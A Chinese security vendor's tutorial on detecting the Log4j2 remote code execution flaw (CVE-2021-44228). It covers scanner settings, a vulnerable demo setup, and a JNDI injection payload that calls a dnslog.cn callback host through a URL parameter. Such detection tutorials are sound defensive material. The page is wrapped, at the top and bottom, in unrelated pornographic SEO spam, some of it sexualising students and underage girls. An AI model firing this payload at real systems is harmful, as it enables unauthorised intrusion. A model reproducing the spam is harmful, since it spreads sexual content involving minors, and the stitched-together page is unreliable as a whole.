教室停电h嗯啊好硬好湿,双性美人被调教到喷水a片,在按摩店和女老板做爰,狠狠挺进稚嫩学生小身体

數(shù)字經(jīng)濟(jì)的安全基石

產(chǎn)品&服務(wù)

首頁 > 資源中心 > 資料下載 > 產(chǎn)品&服務(wù) > 正文

玩轉(zhuǎn)Log4j2遠(yuǎn)程代碼執(zhí)行漏洞，安恒明鑒保姆級教程


2021.12.10，一個平平無奇的脫發(fā)日，突然老板來了消息。


工具發(fā)現(xiàn)

明鑒漏洞掃描系統(tǒng)

安恒明鑒漏掃產(chǎn)品第一時間已具備對該漏洞的掃描與檢測能力，根據(jù)產(chǎn)品通知，將網(wǎng)站掃描策略升級至V1.3.582.534版本，開始做掃描任務(wù)。


1、新建策略模板，單獨選擇Apache Log4j 2遠(yuǎn)程代碼執(zhí)行掃描策略


2、新建掃描任務(wù)，選擇對應(yīng)策略模板并提交任務(wù)。


3、由于只針對這一個漏洞做應(yīng)急掃描，任務(wù)很快執(zhí)行完成，查看掃描結(jié)果，成功發(fā)現(xiàn)漏洞！


明鑒Web應(yīng)用弱點掃描器

將策略庫版本升級至V6.1.117版本，即可具備Apache Log4j 2遠(yuǎn)程代碼執(zhí)行（CVE-2021-44228）漏洞發(fā)現(xiàn)能力。


1、新建任務(wù)填寫掃描目標(biāo)。


2、選擇自定義策略，勾選Apache Log4j遠(yuǎn)程代碼執(zhí)行（CVE-2021-44228）掃描策略。


3、待任務(wù)執(zhí)行完成后，查看掃描結(jié)果。依舊發(fā)現(xiàn)，從工具中導(dǎo)出報告交給領(lǐng)導(dǎo)就能交差了！


順利完成任務(wù)，不過這個波及廣泛的Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞到底是啥，作為小白有必要一探究竟。


環(huán)境搭建

服務(wù)器環(huán)境

操作系統(tǒng)：centos7.7

JAVA環(huán)境：JDK1.8

Centos7.7安裝教程：

https://www.cnblogs.com/weihengblogs/p/13724167.html

JAVA環(huán)境部署教程：

https://www.cnblogs.com/stulzq/p/9286878.html


漏洞環(huán)境獲取

獲取地址：

https://pan.baidu.com/s/12ftEpSFnOjjITGlWNbl84w

提取碼：r5pk?


后臺啟用Log4j2漏洞環(huán)境


nohupjava-jarspringboot-log4j2-demo-0.0.1-SNAPSHOT.jar&


訪問環(huán)境

漏洞環(huán)境的Web服務(wù)監(jiān)聽8082端口，param參數(shù)會調(diào)用log4j。這時請求一下該參數(shù)，確認(rèn)環(huán)境是否正常。

http://X.X.X.X:8082/test?param=1


漏洞驗證

通過dnslog.cn獲取dnslog子域


構(gòu)造payload


${jndi:ldap://fj537p.dnslog.cn/exp}


帶入payload請求驗證dns訪問


http://X.X.X.X:8082/test?param=${jndi:ldap://fj537p.dnslog.cn/exp}


查看dnslog回顯

看到這個回顯就證明漏洞存在了。如果沒有工具借助，按此方法來也能夠驗證。但若想快速便捷地大批量進(jìn)行驗證，還是需要購買專業(yè)漏洞掃描類產(chǎn)品，畢竟下一個高危漏洞爆發(fā)咱也不知道好不好手工驗證。

客服在線咨詢?nèi)肟冢诖c您交流

線上咨詢
聯(lián)系我們

咨詢電話：400-6059-110

產(chǎn)品試用

即刻預(yù)約免費試用，我們將在24小時內(nèi)聯(lián)系您

微信咨詢
安恒信息聯(lián)系方式
哦┅┅快┅┅用力啊┅┅小说| 最近2019年免费中文字幕电影| 亚洲视频在线观看| 欧美freesex黑人又粗又大| 久久久久亚洲精品无码网址| 日韩电影免费在线观看网站| 故意短裙公交车被强好爽h| 西西人体大胆啪啪私拍色约约| 欧美亚洲一区二区三区| 日本护士做爰视频| 欧美国产在线播放欧美产品| 香港三级午夜理伦三级三| 啦啦啦资源视频在线观看8| 久久久无码精品亚洲日韩按摩| 国产草草影院ccyycom| 亚洲午夜av久久久精品影院色戒| 777奇米影视| 久久人人爽人人爽人人片av| 午夜亚洲福利在线老司机| 性视频免在线观看视频| 日本爆乳强伦中文字幕电影| jizz女人jizzz| 国产精品国产三级国产专区53| 中学生广播体操舞动青春| 少妇人妻一区二区三区视频| 女人被躁到高潮嗷嗷叫视频| 熟女人妻一区二区三区免费看| 末发育女av片一区二区在线观看| 最新69成人国产精品视频免费| 熟妇的滚烫的肉唇翻进翻出| 男朋友舌头伸到下面很肿胀| 小莹乳液汁水停电了还能用吗| 婷婷五月综合缴情在线视频| 惩罚小核不停高潮h| 精品乱码一区二区三四区视频| 玩弄高耸白嫩的乳峰a片| 俄罗斯ve乳librederm| 艳妇500篇短篇h系列| 国精产品一区二区三区有限公司| 23部禽亲女小丹慢慢张开双| 女干部光着屁股让领导玩|